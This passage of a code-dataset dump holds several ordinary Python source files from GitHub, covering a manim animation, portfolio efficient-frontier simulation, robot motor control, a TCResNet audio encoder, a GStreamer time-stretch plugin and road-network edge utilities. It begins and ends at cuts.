\"\"\" this probably kinda works but is really slow\"\"\"\n eps = torch.finfo(c.dtype).eps\n k = 1\n while not isPD(c):\n # fix it so we have positive definite matrix\n # could also use the Higham algorithm for more accuracy\n # N.J. Higham, \"Computing a nearest symmetric positive semidefinite\n # https://gist.github.com/fasiha/fdb5cec2054e6f1c6ae35476045a0bbd\n print('covariance matrix not positive definite, attempting recovery')\n e, v = torch.symeig(c, eigenvectors=True)\n bump = eps * k ** 2\n e[e < bump] += bump\n c = torch.matmul(v, torch.matmul(e.diag_embed(), v.t()))\n k += 1\n\n return c","repo_name":"DuaneNielsen/keypoints","sub_path":"keypoints/higgham.py","file_name":"higgham.py","file_ext":"py","file_size_in_byte":3069,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"18"} +{"seq_id":"27606418554","text":"from manimlib import *\n\nclass test(Scene):\n def construct(self):\n # Parameters for the animation\n R = 3 # Radius of the circle\n num_rings = 20 # Number of rings and strips\n \n # Create the initial circle\n circle = Circle(radius=R, color=BLUE)\n self.play(FadeIn(circle))\n \n # Create rings by slicing the circle\n rings = VGroup(*[\n AnnularSector(inner_radius=R*(i-1)/num_rings, \n outer_radius=R*i/num_rings, \n angle=TAU, \n color=BLUE).move_to(circle.get_center())\n for i in range(1, num_rings + 1)\n ])\n \n # Animate the transformation from the circle to the rings\n self.play(Transform(circle, rings))\n \n # Create the triangular shape to guide the placement of strips\n triangle = Polygon(\n np.array([-R, -np.sqrt(3)/2*R, 0]), \n np.array([R, -np.sqrt(3)/2*R, 0]), \n np.array([0, np.sqrt(3)/2*R, 0]), \n color=WHITE\n )\n \n # Calculate the total length of all strips\n total_length = sum(2 * PI * R * (i / num_rings) for i in range(1, num_rings + 1))\n \n # Scale the triangle to match the total length of the strips\n triangle.scale(total_length / triangle.get_width())\n\n # Animate the transformation of the rings into the triangular shape\n for i, annulus in enumerate(rings):\n # Determine the length and width of the strip\n strip_length = annulus.get_width()\n strip_height = annulus.get_height() / num_rings\n \n # Create the strip\n strip = Rectangle(width=strip_length, height=strip_height, color=BLUE)\n strip.move_to(triangle.get_bottom() + UP * strip_height / 2 + UP * i * (strip_height))\n \n # Align the strip's left side to the left side of the triangle\n strip.align_to(triangle, LEFT)\n \n # Animate the annulus transforming into the strip\n self.play(Transform(annulus, strip))\n \n # Fade out the triangle guide\n self.play(FadeOut(triangle))\n \n # Show the final result\n self.wait(2)\n\n# To run this scene, use the following command in your terminal:\n# manimgl script_name.py CircleToTriangle\n","repo_name":"slowisfast2030/manimgl_1.6.1","sub_path":"successful_product/gpt_3b1b.py","file_name":"gpt_3b1b.py","file_ext":"py","file_size_in_byte":2392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"97208802","text":"import pandas as pd\nfrom pandas_datareader import data as pdr\nimport numpy as np\nimport datetime as dt\nimport matplotlib.pyplot as plt\nimport yfinance as yf\nplt.style.use('seaborn-colorblind')\n\n# Create our portfolio of equities\ntickers = []\nnumber_of_tickers = int(input(\"How many stocks in your portfolio? \"))\n\nfor x in range(number_of_tickers):\n tickers.append(input(\"What ticker do you want to add to your portfolio? \").upper())\n\n# user can specify the number of portfolios to simulate\nnum_portfolios = int(input(\"How many portfolios would you like to simulate? \"))\nprint('\\n')\nprint('Evaluating your portfolio...')\n\n# Download closing prices\ndata = pdr.get_data_yahoo(tickers, start=\"2012-01-01\", end=dt.date.today())['Close']\n\n# From the closing prices, calculate periodic returns\nreturns = data.pct_change()\n\n\n# Define function to calculate returns, volatility\ndef portfolio_annualized_performance(weights, avg_returns, cov_matrix):\n # Given the avg returns, weights of equities calc. the portfolio return\n returns = np.sum(avg_returns * weights) * 252\n\n # Standard deviation of portfolio (using dot product against covariance, weights)\n # 252 trading days\n std = np.sqrt(np.dot(weights.T, np.dot(cov_matrix, weights))) * np.sqrt(252)\n return std, returns\n\n\ndef generate_random_portfolios(num_portfolios, mean_returns, cov_matrix, risk_free_rate):\n # Initialize array of shape 3 x N to store our results,\n # where N is the number of portfolios we're going to simulate\n results = np.zeros((3, num_portfolios))\n\n # Array to store the weights of each equity\n weight_array = []\n\n for i in range(num_portfolios):\n # Randomly assign floats to our 4 equities\n weights = np.random.random(len(tickers))\n\n # Convert the randomized floats to percentages (summing to 100)\n weights /= np.sum(weights)\n\n # Add to our portfolio weight array\n weight_array.append(weights)\n\n # Pull the standard deviation, returns from our function above using\n # the weights, mean returns generated in this function\n portfolio_std_dev, portfolio_return = portfolio_annualized_performance(weights, mean_returns, cov_matrix)\n\n # Store output\n results[0, i] = portfolio_std_dev\n results[1, i] = portfolio_return\n\n # Sharpe ratio\n results[2, i] = (portfolio_return - risk_free_rate) / portfolio_std_dev\n\n return results, weight_array\n\n\nmean_returns = returns.mean()\n\ncov_matrix = returns.cov()\n\n\n\n# Risk-free rate (used for Sharpe ratio below)\n# anchored on treasury bond rates\nrisk_free_rate = (yf.Ticker('^TNX').info['regularMarketPreviousClose'] / 100)\n\n\ndef display_simulated_portfolios(mean_returns, cov_matrix, num_portfolios, risk_free_rate):\n # pull results, weights from random portfolios\n results, weights = generate_random_portfolios(num_portfolios, mean_returns, cov_matrix, risk_free_rate)\n\n # pull the max portfolio Sharpe ratio (3rd element in results array from\n # generate_random_portfolios function)\n max_sharpe_idx = np.argmax(results[2])\n\n # pull the associated standard deviation, annualized return w/ the max Sharpe ratio\n stdev_portfolio, returns_portfolio = results[0, max_sharpe_idx], results[1, max_sharpe_idx]\n\n # pull the allocation associated with max Sharpe ratio\n max_sharpe_allocation = pd.DataFrame(weights[max_sharpe_idx], index=data.columns, columns=['allocation'])\n max_sharpe_allocation.allocation = [round(i * 100, 2) for i in max_sharpe_allocation.allocation]\n max_sharpe_allocation = max_sharpe_allocation.T\n\n print(\"-\" * 100)\n print(\"Portfolio at Maximum Sharpe Ratio\\n\")\n print(\"--Returns, Volatility--\\n\")\n rounded_returns_port = round(returns_portfolio, 2)\n print(\"Annualized Return:\", rounded_returns_port)\n rounded_stdev_portfolio = round(stdev_portfolio, 2)\n print(\"Annualized Volatility:\", rounded_stdev_portfolio)\n print(\"\\n\")\n print(\"--Allocation at Max Sharpe Ratio--\\n\")\n print(max_sharpe_allocation)\n print(\"-\" * 100)\n plt.figure(figsize=(14, 7.5))\n\n # x = volatility, y = annualized return, color mapping = sharpe ratio\n plt.scatter(results[0, :], results[1, :], c=results[2, :], cmap='viridis', marker='o', s=10, alpha=0.5)\n plt.colorbar()\n ax = plt.gca()\n\n # Mark the portfolio w/ max Sharpe ratio\n plt.scatter(stdev_portfolio, returns_portfolio, marker='x', color='r', s=100, label='Max Sharpe Ratio')\n plt.scatter(min(results[0]), min(results[1]), marker='x', color='black', s=100, label='Min Variance Portfolio')\n plt.title('Simulated Portfolios Illustrating Efficient Frontier')\n plt.xlabel('Annualized Volatility')\n plt.ylabel('Annualized Returns')\n plt.text(.01, .75, f'Annualized Return: {rounded_returns_port * 100}\\n'\n f'Annualized Volatility: {rounded_stdev_portfolio * 100}\\n \\n'\n f'{max_sharpe_allocation}', transform=ax.transAxes)\n plt.legend(labelspacing=1.2)\n plt.show()\n\n\ndisplay_simulated_portfolios(mean_returns, cov_matrix, num_portfolios, risk_free_rate)\n","repo_name":"benlewy/Portfolio-Optimization-and-Efficient-Frontier-Model","sub_path":"EfficientFrontier.py","file_name":"EfficientFrontier.py","file_ext":"py","file_size_in_byte":5093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73657967719","text":"import Adafruit_BBIO.GPIO as GPIO\nimport Adafruit_BBIO.PWM as PWM\n\n# Coded by Teemu Laurila\n# Date: 23.6.2019\n#\n# This is a control software for the mobile robot\n#\n# Do NOT use without persmission.\n\nclass motorControl:\n\t#=====================================================\n\t# Initialize variables for the control software\n\t#=====================================================\n\tdef __init__(self):\n\t\t# Vasen moottorinohjain\n\t\tself.l1 = \"P9_14\"\n\t\tself.l2 = \"P9_12\"\n\t\tself.l3 = \"P9_16\"\n\t\tself.l4 = \"P9_15\"\n\n\t\t# Oikea moottorinohjain\n\t\tself.r1 = \"P8_13\"\n\t\tself.r2 = \"P8_11\"\n\t\tself.r3 = \"P8_19\"\n\t\tself.r4 = \"P8_17\"\n\n\t#=====================================================\n\t# Set digital I/O to be outputs\n\t#=====================================================\n\tdef begin(self):\n\t\tGPIO.setup(self.l2, GPIO.OUT)\n\t\tGPIO.setup(self.l4, GPIO.OUT)\n\t\tGPIO.setup(self.r2, GPIO.OUT)\n\t\tGPIO.setup(self.r4, GPIO.OUT)\n\n\t#=====================================================\n\t# Set speed and direction for the motors\n\t#=====================================================\n\tdef setSpeed(self, motorID, speed):\n\t\tif speed < -100 or speed > 100:\n\t\t\tprint('Error: speed greater than 100')\n\t\t\treturn\n\n\t\tif motorID == 1 or motorID == 2:\n\t\t\tspeed = speed * -1\n\n\t\tdir = -1\n\t\tif speed < 0:\n\t\t\tdir = -1\n\t\tif speed > 0:\n\t\t\tdir = 1\n\n\t\tif motorID == 0:\n\t\t\t#PWM.start(self.l1, abs(speed), 1000)\n\t\t\tif dir == 1:\n\t\t\t\tGPIO.output(self.l2, GPIO.HIGH)\n\t\t\t\tPWM.start(self.l1, 100-abs(speed), 1000)\n\t\t\telse:\n\t\t\t\tGPIO.output(self.l2, GPIO.LOW)\n\t\t\t\tPWM.start(self.l1, abs(speed), 1000)\n\n\t\tif motorID == 1:\n #PWM.start(self.l3, abs(speed), 1000)\n\t\t\tif dir == 1:\n\t\t\t\tGPIO.output(self.l4, GPIO.HIGH)\n\t\t\t\tPWM.start(self.l3, 100-abs(speed), 1000)\n\t\t\telse:\n\t\t\t\tGPIO.output(self.l4, GPIO.LOW)\n\t\t\t\tPWM.start(self.l3, abs(speed), 1000)\n\n\t\tif motorID == 2:\n #PWM.start(self.r1, abs(speed), 1000)\n\t\t\tif dir == 1:\n\t\t\t\tGPIO.output(self.r2, GPIO.HIGH)\n\t\t\t\tPWM.start(self.r1, 100-abs(speed), 1000)\n\t\t\telse:\n\t\t\t\tGPIO.output(self.r2, GPIO.LOW)\n\t\t\t\tPWM.start(self.r1, abs(speed), 1000)\n\n\t\tif motorID == 3:\n #PWM.start(self.r3, abs(speed), 1000)\n\t\t\tif dir == 1:\n\t\t\t\tGPIO.output(self.r4, GPIO.HIGH)\n\t\t\t\tPWM.start(self.r3, 100-abs(speed), 1000)\n\t\t\telse:\n\t\t\t\tGPIO.output(self.r4, GPIO.LOW)\n\t\t\t\tPWM.start(self.r3, abs(speed), 1000)\n\n\tdef close(self):\n\t\tPWM.stop(self.l1)\n\t\tPWM.stop(self.l3)\n\t\tPWM.stop(self.r1)\n\t\tPWM.stop(self.r3)\n\t\tGPIO.cleanup()\n","repo_name":"Teneppa/mobileRobot-3d-printable","sub_path":"motorControl.py","file_name":"motorControl.py","file_ext":"py","file_size_in_byte":2460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30473100545","text":"from cs50 import get_int\n\n\ndef main():\n # checks for valid prompts\n while True:\n height = get_int(\"Height: \")\n width = height + 1\n if height >= 0 and height <= 23:\n break\n # outputs spaces and hashes accordingly\n for i in range(1, height + 1):\n num_hashes = i + 1\n num_spaces = width - num_hashes\n\n print(\" \" * num_spaces, end=\"\")\n print(\"#\" * num_hashes)\n\n\n# calls main\nif __name__ == \"__main__\":\n main()","repo_name":"shashwatkathuria/CS50","sub_path":"Problem Set 6/mario/less/mario.py","file_name":"mario.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"41952425280","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nThe :mod:`~audiotsm.gstreamer.base` module provides a base class for gstreamer\nplugin using :class:`~audiotsm.base.tsm.TSM` objects.\n\"\"\"\n\nimport numpy as np\nimport gi\ngi.require_version('Gst', '1.0')\ngi.require_version('GstAudio', '1.0')\n\n# pylint: disable=wrong-import-position\nfrom gi.repository import GObject, GLib, Gst, GstAudio\nfrom audiotsm import __version__\nfrom audiotsm.io.array import ArrayReader, ArrayWriter\nfrom gstbasetransform import BaseTransform\n# pylint: enable=wrong-import-position\n\nCAPS = Gst.Caps.from_string(\n \"audio/x-raw,format=S16LE,layout=interleaved\")\n\n\ndef audioformatinfo_to_dtype(info):\n \"\"\"Return the data type corresponding to a ``GstAudio.AudioFormatInfo``\n object.\n\n :param info: a ``GstAudio.AudioFormatInfo``.\n :returns: the corresponding data type, to be used in :mod:`numpy`\n functions.\n \"\"\"\n endianness = '<' if info.endianness == GLib.LITTLE_ENDIAN else '>'\n\n if info.flags & GstAudio.AudioFormatFlags.INTEGER:\n if info.flags & GstAudio.AudioFormatFlags.SIGNED:\n _type = 'i'\n else:\n _type = 'u'\n elif info.flags & GstAudio.AudioFormatFlags.FLOAT:\n _type = 'f'\n else:\n raise ValueError(\n 'unsupported audio format flags: {}'.format(info.flags))\n\n samplewidth = info.width // 8 # in bytes\n\n return '{}{}{}'.format(endianness, _type, samplewidth)\n\n\nclass GstTSM(BaseTransform):\n \"\"\"Gstreamer TSM plugin.\n\n Subclasses should implement the :func:`~GstTSM.create_tsm` method and\n provide two class attributes:\n\n - ``__gstmetadata__ = (longname, classification, description, author)``.\n See the documentation of the gst_element_class_set_metadata_ function for\n more details.\n - ``plugin_name``, the name of the plugin.\n\n Calling the :func:`~GstTSM.register` class method on a subclass will\n register it, enabling you to instantiate an audio filter with\n ``Gst.ElementFactory.make(plugin_name)``.\n\n .. _gst_element_class_set_metadata:\n https://gstreamer.freedesktop.org/data/doc/gstreamer/head/gstreamer/html/GstElement.html#gst-element-class-set-metadata\n \"\"\" # noqa: E501\n # pylint: disable=no-member\n\n __gsttemplates__ = (Gst.PadTemplate.new(\"src\",\n Gst.PadDirection.SRC,\n Gst.PadPresence.ALWAYS,\n CAPS),\n Gst.PadTemplate.new(\"sink\",\n Gst.PadDirection.SINK,\n Gst.PadPresence.ALWAYS,\n CAPS))\n\n def __init__(self):\n super().__init__()\n\n self._channels = 0\n self._samplerate = 0\n self._bps = 0 # bytes per sample\n self._dtype = ''\n self._audioformatinfo = None\n\n self._tsm = None\n self._position = 0\n\n @classmethod\n def plugin_init(cls, plugin):\n \"\"\"Initialize the plugin.\"\"\"\n plugin_type = GObject.type_register(cls)\n Gst.Element.register(plugin, cls.plugin_name, 0, plugin_type)\n return True\n\n @classmethod\n def register(cls):\n \"\"\"Register the plugin.\n\n Register the plugin to make it possible to instantiate it with\n ``Gst.ElementFactory.make``.\"\"\"\n Gst.Plugin.register_static(\n Gst.VERSION_MAJOR, Gst.VERSION_MINOR, cls.plugin_name,\n cls.get_metadata('description'), cls.plugin_init, __version__,\n 'MIT/X11', 'audiotsm', 'audiotsm', '')\n\n def _gstbuffer_to_ndarray(self, gstbuffer):\n \"\"\"Return the data contained in ``gstbuffer`` as a\n :class:`numpy.ndarray`.\n\n :param gstbuffer: a :class:`Gst.Buffer`.\n \"\"\"\n _, mapinfo = gstbuffer.map(Gst.MapFlags.READ)\n data = mapinfo.data\n gstbuffer.unmap(mapinfo)\n\n data = np.frombuffer(data, self._dtype).astype(np.float32) / 32767\n data = data.reshape((-1, self._channels)).T\n\n return data\n\n def _ndarray_to_gstbuffer(self, gstbuffer, data):\n \"\"\"Write the ``data`` to ``gstbuffer``.\n\n This method is a bit hack-ish. It would be better to set the size of\n the :class:`Gst.Buffer` in advance with the\n :func:`GstBase.BaseTransform.do_transform_size` virtual method, but it\n is not possible to do so with pygst.\n\n :param gstbuffer: a :class:`Gst.Buffer`.\n :param data: a :class:`numpy.ndarray`.\n \"\"\"\n length = data.shape[1]\n\n if length <= 0:\n gstbuffer.set_size(0)\n gstbuffer.duration = 0\n return\n\n np.clip(data, -1, 1, out=data)\n data = (data.T.reshape((-1,)) * 32767).astype(self._dtype).tobytes()\n size = len(data)\n\n # Copy as many bytes as possible to the buffer directly\n n = gstbuffer.fill(0, data)\n\n if n < size:\n Gst.warning('the output buffer is too small, allocating memory')\n\n # Allocate memory for the rest of the data\n # This may add noise to the audio signal\n data = data[n:]\n mem = Gst.Memory.new_wrapped(0, data, len(data), 0, None, None)\n gstbuffer.append_memory(mem)\n\n gstbuffer.set_size(size)\n\n def do_sink_event(self, event):\n \"\"\"Sink pad event handler.\"\"\"\n if event.type == Gst.EventType.CAPS:\n # CAPS event, used to negotiate the format with the \"upstream\"\n # gstreamer element.\n caps = event.parse_caps()\n structure = caps.get_structure(0)\n\n # Ensure that the layout is interleaved\n layout = structure.get_string('layout')\n if layout != 'interleaved':\n # Returns False if we were unable to agree on a format.\n return False\n\n # Get number of channels\n success, self._channels = structure.get_int('channels')\n if not success:\n # Returns False if we were unable to agree on a format.\n return False\n\n # Get samplerate\n success, self._samplerate = structure.get_int('rate')\n if not success:\n # Returns False if we were unable to agree on a format.\n return False\n\n # Get and parse samples format\n samples_format = structure.get_string('format')\n if samples_format is None:\n # Returns False if we were unable to agree on a format.\n return False\n\n self._audioformatinfo = GstAudio.AudioFormat.get_info(\n GstAudio.AudioFormat.from_string(samples_format)\n )\n self._dtype = audioformatinfo_to_dtype(self._audioformatinfo)\n\n self._bps = self._channels * self._audioformatinfo.width // 8\n\n # Create the TSM object\n self._tsm = self.create_tsm(self._channels)\n\n if event.type == Gst.EventType.SEGMENT:\n segment = event.parse_segment()\n\n self._tsm.set_speed(segment.rate)\n self._position = segment.position\n\n segment.applied_rate = segment.rate\n segment.rate = 1.0\n event = Gst.Event.new_segment(segment)\n self.srcpad.push_event(event)\n\n if event.type == Gst.EventType.EOS:\n # Flush the TSM object at the end of the stream\n writer = ArrayWriter(self._channels)\n self._tsm.flush_to(writer)\n\n # Write the output to a Gst.Buffer\n out_buffer = Gst.Buffer.new()\n self._ndarray_to_gstbuffer(out_buffer, writer.data)\n\n out_buffer.pts = self._position\n self._position += out_buffer.duration\n\n # Send the buffer downstream\n self.srcpad.push(out_buffer)\n\n # Propagate the event downstream\n return self.srcpad.push_event(event)\n\n def do_transform(self, in_buffer, out_buffer):\n \"\"\"Run the data of ``in_buffer`` through the\n :class:`~audiotsm.base.tsm.TSM` object and write the output to\n ``out_buffer``.\n\n :param in_buffer: a ``Gst.Buffer`` containing the input data.\n :param out_buffer: a ``Gst.Buffer`` where the output data will be\n written.\n \"\"\"\n # There is a bug that increases the refcount of out_buffer, making it\n # non writable (https://bugzilla.gnome.org/show_bug.cgi?id=727702#c4).\n # Set the refcount to 1 to fix this.\n refcount = out_buffer.mini_object.refcount\n out_buffer.mini_object.refcount = 1\n\n # Set the position of the output buffer\n out_buffer.pts = self._position\n\n # Run the TSM procedure\n reader = ArrayReader(self._gstbuffer_to_ndarray(in_buffer))\n writer = ArrayWriter(self._channels)\n\n self._tsm.run(reader, writer, flush=False)\n\n self._ndarray_to_gstbuffer(out_buffer, writer.data)\n out_buffer.duration = (\n (out_buffer.get_size() * Gst.SECOND) //\n (self._bps * self._samplerate)\n )\n self._position += out_buffer.duration\n\n # Reset the refcount\n out_buffer.mini_object.refcount = refcount\n\n return Gst.FlowReturn.OK\n\n def do_transform_size(self, direction, caps, size, othercaps):\n \"\"\"Returns the size of the output buffer given the size of the input\n buffer.\"\"\"\n input_length = size // self._bps\n output_length = self._tsm.get_max_output_length(input_length)\n output_size = output_length * self._bps\n return True, output_size\n\n def create_tsm(self, channels):\n \"\"\"Returns the :class:`~audiotsm.base.tsm.TSM` object used by the audio\n filter.\"\"\"\n raise NotImplementedError()\n","repo_name":"Muges/audiotsm","sub_path":"audiotsm/gstreamer/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":9784,"program_lang":"python","lang":"en","doc_type":"code","stars":77,"dataset":"github-code","pt":"18"} +{"seq_id":"73984271401","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom protonets.models.encoder.baseUtil import Flatten, get_padding\nfrom collections import OrderedDict\n\n\nclass TC(nn.Module):\n def __init__(self):\n super(TC, self).__init__()\n\n def forward(self, x):\n return torch.transpose(x, 1, 3)\n\n\nclass ResidualBlock(nn.Module):\n def __init__(self, in_channels, in_height, in_width, out_channels, kernel, dilation, stride=2):\n super(ResidualBlock, self).__init__()\n self.k_size = kernel\n self.stride2 = 1\n self.k_1D = (1,1)\n \n if in_channels != out_channels:\n self.stride1 = stride\n self.upsample = True\n else:\n self.stride1 = 1\n self.upsample = False\n \n self.conv1 = nn.Conv2d(in_channels, out_channels, self.k_size, stride=self.stride1, \n bias=False, padding=get_padding(in_height, in_width, self.k_size[0], \n self.k_size[1], self.stride1,d_h=dilation), dilation=dilation)\n self.bn1 = nn.BatchNorm2d(out_channels)\n self.relu1 = nn.ReLU()\n \n self.conv2 = nn.Conv2d(out_channels, out_channels, self.k_size, stride=self.stride2, \n bias=False, padding=get_padding(in_height, in_width, self.k_size[0], \n self.k_size[1], self.stride2, d_h=dilation), dilation=dilation)\n self.bn2 = nn.BatchNorm2d(out_channels)\n\n self.conv3 = nn.Conv2d(in_channels, out_channels, self.k_1D, stride=self.stride1, \n bias=False, padding=get_padding(in_height, in_width, self.k_1D[0], \n self.k_1D[1], self.stride1))\n self.bn3 = nn.BatchNorm2d(out_channels)\n self.relu3 = nn.ReLU()\n\n self.encoder = nn.Sequential(\n self.conv1, self.bn1, self.relu1,\n self.conv2, self.bn2\n )\n \n self.upsampler = nn.Sequential(\n self.conv3, self.bn3, self.relu3\n )\n\n self.relu = nn.ReLU()\n \n\n def forward(self, x):\n a = self.encoder(x)\n if self.upsample:\n b = self.upsampler(x)\n else:\n b = x\n out = a + b\n out = self.relu(out)\n return out\n\n\nclass TCResNet(nn.Module):\n def __init__(self, in_channels, in_height, in_width, n_blocks, n_channels, \n conv_kernel, res_kernel, dilation, stride=2):\n super(TCResNet, self).__init__()\n self.conv_k_size = conv_kernel\n self.conv_stride = 1\n self.conv_channels = n_channels[0]\n\n self.tc = TC()\n self.conv1 = nn.Conv2d(in_channels, self.conv_channels, self.conv_k_size,\n stride=self.conv_stride, bias=False, padding= get_padding(in_height, \n in_width, self.conv_k_size[0], self.conv_k_size[1], self.conv_stride,\n d_h=dilation[0]), dilation = dilation[0])\n \n self.resnet = self.build_resnet(in_height, in_width, n_blocks, n_channels[1:], \n dilation[1:], res_kernel, stride)\n self.avg_pool = nn.AvgPool2d((in_height, in_width))\n self.flatten = Flatten()\n\n def build_resnet(self,in_height, in_width, n_blocks, n_channels, dilation, res_kernel, stride):\n res_blocks = []\n for i in range(n_blocks):\n input_channels = self.conv_channels if i == 0 else n_channels[i-1]\n output_channels = n_channels[i]\n res_blocks.append(('Res_{}'.format(i+1),\n ResidualBlock(input_channels, in_height, in_width, \n output_channels, res_kernel, dilation[i], stride)))\n return nn.Sequential(OrderedDict(res_blocks))\n\n def forward(self, x):\n out = self.tc(x)\n out = self.conv1(out)\n out = self.resnet(out)\n out = self.avg_pool(out)\n out = self.flatten(out)\n return out\n \n\ndef TCResNet8(in_c, in_h, in_w, width_multiplier=1.0):\n n_blocks = 3\n n_channels = [16, 24, 32, 48]\n conv_kernel = (3,1)\n res_kernel = (9,1)\n dilation = [1] * 4\n n_channels = [int(x * width_multiplier) for x in n_channels]\n\n return TCResNet(in_w, in_h, in_c, n_blocks, n_channels, conv_kernel, res_kernel, dilation)\n\n\ndef TCResNet14(in_c, in_h, in_w, width_multiplier=1.0):\n n_blocks = 6\n n_channels = [16, 24, 24, 32, 32, 48, 48]\n conv_kernel = (3,1)\n res_kernel = (9,1)\n dilation = [1] * 4\n n_channels = [int(x * width_multiplier) for x in n_channels]\n\n return TCResNet(in_w, in_h, in_c, n_blocks, n_channels, conv_kernel, res_kernel, dilation)\n\ndef TCResNet8Dilated(in_c, in_h, in_w, width_multiplier=1.0):\n n_blocks = 3\n n_channels = [16, 24, 32, 48]\n n_channels = [int(x * width_multiplier) for x in n_channels]\n conv_kernel = (3,1)\n res_kernel = (7,1)\n dilation = [1,1,2,4]\n return TCResNet(in_w, in_h, in_c, n_blocks, n_channels, conv_kernel, res_kernel, dilation, stride=1)","repo_name":"ArchitParnami/Few-Shot-KWS","sub_path":"protonets/models/encoder/TCResNet.py","file_name":"TCResNet.py","file_ext":"py","file_size_in_byte":5035,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"18"} +{"seq_id":"7652391224","text":"# next tasks: levelling up\n# the more houses you knock at, the more knowledge you get\n# the more times you get away, you get more points\n# if you get caught, you lose\n\n# the more people in your squad, the harder it is to get away. Also squad points?\n# the house number should mean something...\n\nfrom random import *\nfrom player import *\nfrom enemies import *\n\nsquad = int(input(\"How many people are you playing with? (up to 10) \"))\nrisk = int(input(\"How risky are you from 1 to 10? \"))\nhouse = int(input(\"What house number do you choose? (up to __) \"))\n\nplayer = Players(squad, 0, 8, 2, risk)\nprint(player)\n\nplayer.knock()\n\nseconds_you_stay = player.risk_level + (10 - player.speed)\n\nif seconds_you_stay < residents.open_door():\n print(f\"You ran away after {seconds_you_stay}.\")\n print(\"You got away!\")\nelse:\n print(f\"You ran away after {seconds_you_stay}.\")\n print(\"You got caught! Better luck next time.\")\n","repo_name":"oladann/Data22","sub_path":"DingDongDash_Game (Improved)/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13624917594","text":"########################################################################################################################\n# Module: edges.py\n# Description: Some tools including interpolation along a proportion of a given edge, selecting edges within a distance\n# of a point and discretisation of an edge for sampling.\n#\n# Web: https://github.com/SamDuffield/bmm\n########################################################################################################################\n\nfrom functools import lru_cache\nfrom typing import Union, Tuple\n\nimport numpy as np\nimport osmnx as ox\nfrom shapely.geometry import Point\nfrom shapely.geometry import LineString\nfrom networkx.classes import MultiDiGraph\nfrom geopandas import GeoDataFrame\n\n\ndef edge_interpolate(geometry: LineString,\n alpha: float) -> np.ndarray:\n \"\"\"\n Given edge and proportion travelled, return (x,y) coordinate.\n\n :param geometry: edge geometry\n :param alpha: in (0,1] proportion of edge travelled\n :return: cartesian coordinate\n \"\"\"\n return np.array(geometry.interpolate(alpha, normalized=True).coords)[0]\n\n\ndef get_geometry(graph: MultiDiGraph,\n edge: np.ndarray) -> LineString:\n \"\"\"\n Extract geometry of an edge from global graph object. If geometry doesn't exist set to straight line.\n\n :param graph: encodes road network, simplified and projected to UTM\n :param edge: length = 3 with elements u, v, k\n * u: int, edge start node\n * v: int, edge end node\n * k: int, edge key\n :return: edge geometry\n \"\"\"\n edge_tuple = tuple(int(e) for e in edge)\n return get_geometry_cached(graph, edge_tuple)\n\n\n@lru_cache(maxsize=2 ** 8)\ndef get_geometry_cached(graph: MultiDiGraph,\n edge_tuple: tuple) -> LineString:\n \"\"\"\n Cacheable\n Extract geometry of an edge from global graph object. If geometry doesn't exist set to straight line.\n\n :param graph: encodes road network, simplified and projected to UTM\n :param edge_tuple: (hashable for lru_cache), length = 3\n elements u, v, k\n u: int, edge start node\n v: int, edge end node\n k: int, edge key\n :return: edge geometry\n \"\"\"\n\n # Extract edge data, in particular the geometry\n edge_data = graph.get_edge_data(edge_tuple[0], edge_tuple[1], edge_tuple[2])\n\n # If no geometry attribute, manually add straight line\n if 'geometry' in edge_data:\n edge_geom = edge_data['geometry']\n else:\n point_u = Point((graph.nodes[edge_tuple[0]]['x'], graph.nodes[edge_tuple[0]]['y']))\n point_v = Point((graph.nodes[edge_tuple[1]]['x'], graph.nodes[edge_tuple[1]]['y']))\n edge_geom = LineString([point_u, point_v])\n\n return edge_geom\n\n\ndef discretise_geometry(geom: LineString,\n d_refine: float,\n return_dists: bool = False) -> Union[Tuple[np.ndarray, np.ndarray], np.ndarray]:\n \"\"\"\n Given edge, return series of [edge, alpha] points at determined discretisation increments along edge.\n alpha is proportion of edge traversed.\n\n :param geom: edge geometry\n :param d_refine: metres, resolution of distance discretisation\n :param return_dists: if true return distance along edge as well as alpha (proportion)\n :return: list of alphas at each discretisation point\n \"\"\"\n ds = np.arange(geom.length, d_refine / 10, -d_refine)\n alphas = ds / geom.length\n return (alphas, ds) if return_dists else alphas\n\n\ndef discretise_edge(graph: MultiDiGraph,\n edge: np.ndarray,\n d_refine: float) -> np.ndarray:\n \"\"\"\n Discretises edge to given edge refinement parameter.\n Returns array of proportions along edge, xy cartesian coordinates and distances along edge\n\n :param graph: encodes road network, simplified and projected to UTM\n :param edge: list-like, length = 3 with elements u, v, k\n * u: int, edge start node\n * v: int, edge end node\n * k: int, edge key\n :param d_refine: metres, resolution of distance discretisation\n :return: shape = (_, 4) with columns\n * alpha: float in (0,1], position along edge\n * x: float, metres, cartesian x coordinate\n * y: float, metres, cartesian y coordinate\n * distance: float, distance from start of edge\n \"\"\"\n edge_tuple = tuple(int(e) for e in edge)\n return discretise_edge_cached(graph, edge_tuple, d_refine).copy()\n\n\n@lru_cache(maxsize=2 ** 8)\ndef discretise_edge_cached(graph: MultiDiGraph,\n edge_tuple: tuple,\n d_refine: float) -> np.ndarray:\n \"\"\"\n Cacheable\n Discretises edge to given edge refinement parameter.\n Returns array of proportions along edge, xy cartesian coordinates and distances along edge\n :param graph: encodes road network, simplified and projected to UTM\n :param edge_tuple: tuple (hashable for lru_cache), length = 3\n elements u, v, k\n u: int, edge start node\n v: int, edge end node\n k: int, edge key\n :param d_refine: metres, resolution of distance discretisation\n :return: shape = (_, 4)\n columns\n alpha: float in (0,1], position along edge\n x: float, metres, cartesian x coordinate\n y: float, metres, cartesian y coordinate\n distance: float, distance from start of edge\n \"\"\"\n\n edge_geom = get_geometry_cached(graph, edge_tuple)\n\n alphas, distances = discretise_geometry(edge_geom, d_refine, True)\n\n n_distances = 